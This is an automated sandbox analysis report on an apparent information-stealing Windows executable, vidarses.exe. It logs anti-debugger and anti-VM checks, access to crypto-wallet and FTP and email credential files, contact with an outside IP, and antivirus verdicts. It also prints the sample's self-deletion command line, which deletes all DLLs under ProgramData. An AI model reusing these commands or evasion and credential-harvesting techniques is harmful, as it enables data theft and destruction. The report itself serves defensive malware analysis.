RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExA June 18, 2021, 9:02 a.m.	regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d} base_handle: 0x80000002 key_handle: 0x000004d0 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}	1

Terminates another process (2 events)

Time & API	Arguments	Status	Return	Repeated
NtTerminateProcess June 18, 2021, 9:02 a.m.	status_code: 0x00000001 process_identifier: 732 process_handle: 0x00000198		0	0
NtTerminateProcess June 18, 2021, 9:02 a.m.	status_code: 0x00000001 process_identifier: 732 process_handle: 0x00000198	1	0	0

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	"C:\Windows\System32\cmd.exe" /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit
cmdline	taskkill /im vidarses.exe /f
cmdline	C:\Windows\System32\cmd.exe /c taskkill /im vidarses.exe /f & timeout /t 6 & del /f /q "C:\Users\test22\AppData\Local\Temp\vidarses.exe" & del C:\ProgramData\*.dll & exit

The executable is likely packed with VMProtect (1 event)

section

.vmp0

description

Section name indicates VMProtect

Communicates with host for which no DNS query was performed (1 event)

host

159.69.20.131

Checks for the presence of known windows from debuggers and forensic tools (21 events)

Time & API	Arguments	Status	Return	Repeated
FindWindowA June 18, 2021, 9:02 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: RegmonClass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Registry Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: FilemonClass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: File Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Process Monitor - Sysinternals: www.sysinternals.com window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Regmonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Regmonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Filemonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Filemonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Regmonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Regmonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: 18467-41 window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Filemonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: Filemonclass window_name:		0	0
FindWindowA June 18, 2021, 9:02 a.m.	class_name: PROCMON_WINDOW_CLASS window_name:		0	0

Checks the version of Bios, possibly for anti-virtualization (2 events)

registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry	HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion

Checks the CPU name from registry, possibly for anti-virtualization (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString

Attempts to access Bitcoin/ALTCoin wallets (1 event)

file	C:\Users\test22\AppData\Roaming\Electrum\wallets\??????

Creates an executable file in a user folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\vidarses.exe

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
registry	HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Collects information about installed applications (27 events)

Time & API	Arguments	Status
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ENTERPRISE\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: ????? ?? 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: ????? ?? 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Access MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0015-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Excel MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0016-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office PowerPoint MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0018-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Publisher MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0019-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Outlook MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001A-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Word MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001B-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proof (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-001F-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office IME (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0028-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-002C-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Enterprise 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0030-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office InfoPath MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0044-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-006E-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OneNote MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00A1-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove MUI (English) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Groove Setup Metadata MUI (Korean) 2007 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90120000-0114-0412-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 NPAPI regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}\DisplayName	1
RegQueryValueExA June 18, 2021, 9:02 a.m.	key_handle: 0x000004d0 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{d992c12e-cab2-426f-bde3-fb8c53950b0d}\DisplayName	1

Harvests credentials from local email clients (1 event)

file	C:\Users\test22\AppData\Roaming\Thunderbird\profiles.ini

Detects VirtualBox through the presence of a registry key (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Detects Virtual Machines through their custom firmware (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation June 18, 2021, 9:02 a.m.	information_class: 76 (SystemFirmwareTableInformation)		3221225507	0

Detects VMWare through the in instruction feature (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 18, 2021, 9:02 a.m.	stacktrace: exception.instruction_r: ed e9 9f 23 01 00 85 53 1c b1 ff ff 39 53 60 df exception.symbol: vidarses+0x38d9fe exception.instruction: in eax, dx exception.module: vidarses.exe exception.exception_code: 0xc0000096 exception.offset: 3725822 exception.address: 0x78d9fe registers.esp: 1638268 registers.edi: 10498546 registers.eax: 1447909480 registers.ebp: 6000640 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1	0	0

File has been identified by 28 AntiVirus engines on VirusTotal as malicious (28 events)

Bkav	W32.AIDetect.malware1
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Bulz.515437
FireEye	Generic.mg.7283347ba70004a5
Cylance	Unsafe
BitDefenderTheta	Gen:NN.ZexaF.34738.2wuaa0JE2nmG
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	Win32/PSW.Agent.OGR
APEX	Malicious
Avast	Win32:Malware-gen
Kaspersky	Trojan.Win32.Chapak.ezqv
BitDefender	Gen:Variant.Bulz.515437
Ad-Aware	Gen:Variant.Bulz.515437
Emsisoft	Gen:Variant.Bulz.515437 (B)
Sophos	Generic ML PUA (PUA)
SentinelOne	Static AI - Malicious PE
Gridinsoft	Trojan.Heur!.03014681
Microsoft	Trojan:Win32/Hynamer.A!ml
GData	Gen:Variant.Bulz.515437
AhnLab-V3	Trojan/Win.Generic.C4527066
VBA32	BScope.TrojanPSW.Coins
ALYac	Gen:Variant.Bulz.515437
MAX	malware (ai score=80)
Malwarebytes	Trojan.Downloader
Rising	Malware.Heuristic!ET#94% (RDMK:cmRtazrjxRvKqjrH5E2bVJzQWERL)
eGambit	Unsafe.AI_Score_89%
AVG	Win32:Malware-gen
CrowdStrike	win/malicious_confidence_60% (W)

vidarses.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All